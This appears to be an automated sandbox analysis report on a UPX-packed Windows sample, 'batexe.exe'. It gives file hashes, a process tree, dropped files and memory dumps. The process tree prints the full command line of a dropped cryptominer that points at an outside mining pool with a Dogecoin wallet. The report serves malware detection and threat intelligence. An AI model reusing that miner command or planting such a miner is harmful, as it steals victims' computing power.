73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
299s
max time network
300s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
24/02/2024, 05:34

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
1592	b2e.exe
3520	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3520	cpuminer-sse2.exe
3520	cpuminer-sse2.exe
3520	cpuminer-sse2.exe
3520	cpuminer-sse2.exe
3520	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4344-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4344 wrote to memory of 1592	4344	batexe.exe	74
PID 4344 wrote to memory of 1592	4344	batexe.exe	74
PID 4344 wrote to memory of 1592	4344	batexe.exe	74
PID 1592 wrote to memory of 1480	1592	b2e.exe	75
PID 1592 wrote to memory of 1480	1592	b2e.exe	75
PID 1592 wrote to memory of 1480	1592	b2e.exe	75
PID 1480 wrote to memory of 3520	1480	cmd.exe	78
PID 1480 wrote to memory of 3520	1480	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4344
- C:\Users\Admin\AppData\Local\Temp\2D9.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\2D9.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\2D9.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1592
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7CB.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1480
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3520

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\2D9.tmp\b2e.exe

Filesize
1.7MB

MD5
7b9e19cbeef48d1436f80636d98f1e29

SHA1
211ab3ec2dbf56621bfa6e7b4af51f6d59ed7e22

SHA256
ab3065d4cd6d2916257227617fba70a92bdb7b65f474d9a3b5a7910c6791775d

SHA512
cd561dbc1747d3f5e1a799a1d6f13d71150e273835ecfd1f84b00e742b04a23b41daf83db404ef527c1531f665bd6e74a4fc62bc84759208b958a4803063bdae

Download Submit
C:\Users\Admin\AppData\Local\Temp\2D9.tmp\b2e.exe

Filesize
1.5MB

MD5
2a089e8bf6578017b5c976d0dacec1b8

SHA1
111f721c4eb9edb2555114a6c8d95d0bac6bf333

SHA256
7c38ff410d155d55353f7c8d0ccda5c2f63a97eadff37a99228b2cff8efddb50

SHA512
5efbe1daa3034284f68f7045fbbd4e26276165f60dca93d455772d5727deaf9ebc059a8b7b0763c6d00243fc8bbff9a197556837e71a1ecfd71e6919b8a7ecfe

Download Submit
C:\Users\Admin\AppData\Local\Temp\7CB.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
256KB

MD5
e0c023f2dc80d8f2415830dcaf9b9e45

SHA1
9806d1f4bd0f76e044071f95f9210b09c2c09fd0

SHA256
dc7de4210ed002ed6ab8340d21f999fd77ff9c1fe4361227ebbe3324b24009a0

SHA512
76d594de32b07899a478e6b1fbe4a158492174439df3a65478b21135aea9695f47cd6b5006d1bb28398fb1b1f0e64f33e839ae16225fe755bcec4d25d3caf0ef

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
128KB

MD5
48c422e815911804d8322f84e605438f

SHA1
b577cb4575fdf07ead63d0f9831833f4f30788e9

SHA256
3247538f008c10c405b77c7a1ff636bd7f7e72b0cf4b5990870c157958b4e6ea

SHA512
0278d1c8a8bb02bb70bac382c89481451ddd147f2b195fed3cf1105524358a04703be54186e138d0e1f1423441e694cd292eb890cfe66bc421eb160821548f8c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
256KB

MD5
1d86b9560854472453237bcbaa2e253f

SHA1
5a03a7902d250377a3e9f746badcb696e2c98228

SHA256
1493703a430c68bdcedcb4078486daca39a02820199e7b72017c7b1af66e1c8d

SHA512
afbc3d7f8e06e41db25d666999f4d162af7054a66b17a651ac8a7f092f83580a067bfa2f558be65ace5966dffaa8735fe7a579e88bf42b34eaa3e72cdec96699

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
256KB

MD5
eca0c37eee65c31b869788d5d0bf00cd

SHA1
33a5c0cd2f0a7296a5c0169699ed8e065b57e5e8

SHA256
1d2b7bd4ddd99d627d5111252baadf028dc9910cf414892867502e5951de962e

SHA512
5f302da7772fca0a6d03ffd8732850f526acf5fcc33e189d2d906a33101454d970d5cca2f829a006d15c4a857341d72c7876cb2e7af84ada4f158695aba5a4dc

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
256KB

MD5
f8edb8dd2fb15f1887ace09587589dd4

SHA1
cbf7cbfefc0215d9500a98d9064deb9e86787152

SHA256
0465270288d69a0ec9beb7114707bed76756c14148293237d0d35423abdfc67b

SHA512
aa993112953225280c0bedb1ebd8288298b9c22a6a884a952ba60e48cbd21c4ce60724b7adc961a0528d7c569596e3420fec2670fc47c3eb6c00c691e0378abc

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
42KB

MD5
8e156f809ab599c49b91b6f01e1d9a03

SHA1
0c06de264beb8ae5dc259c81d0c01e413933e68e

SHA256
373a94c1bb30ab08b6a7dc9ff1f3d603f8d90c3204856aaae6096ba35e7b1b89

SHA512
df27a7ea26a35836cfc48e70421890e762c36996983e209994dda908d71fe06ce2c39d42b5d1c4f18ab9ae9e44e5baf930db4d8ced7d40285ad4fed239811441

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
41KB

MD5
1ad6e842588629e989293e294134e1f5

SHA1
2f78fc14076634173071e331dfb556bf7798c785

SHA256
b3f970331650aae3d61dcd2d00e36660a260238b0923299fe4b5f48fecb354f6

SHA512
9cd751dd310dc605fa844df05e3fc02bc8fbc24e4a4f755c35ab66bc0f723026fb3fa54a4e64785a6b63f06c93cf7a5383dfe364632f6f8fcd6c7ba64b4c4853

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
192KB

MD5
625f906456510afaf916dd0384d76eee

SHA1
66c56574aff02fb199caa60ab71ca9f1c9e7fc92

SHA256
27baaef233592b03722c7d64c26d2270c0300ffb8e7f08a8e0d65212af4b848d

SHA512
041399c5ddc614d8b1a359238df8fb09258c95a0013e5139dbf4093b892395f5f78fa31fbecfee92966c5e78a5c5894005c98e559b8b5735ecf9c1995df51b17

Download Submit
memory/1592-55-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1592-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3520-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3520-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3520-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3520-43-0x00000000733C0000-0x0000000073458000-memory.dmp

Filesize
608KB

Download
memory/3520-44-0x0000000001010000-0x00000000028C5000-memory.dmp

Filesize
24.7MB

Download
memory/3520-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3520-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3520-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3520-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3520-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3520-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3520-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3520-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3520-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4344-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download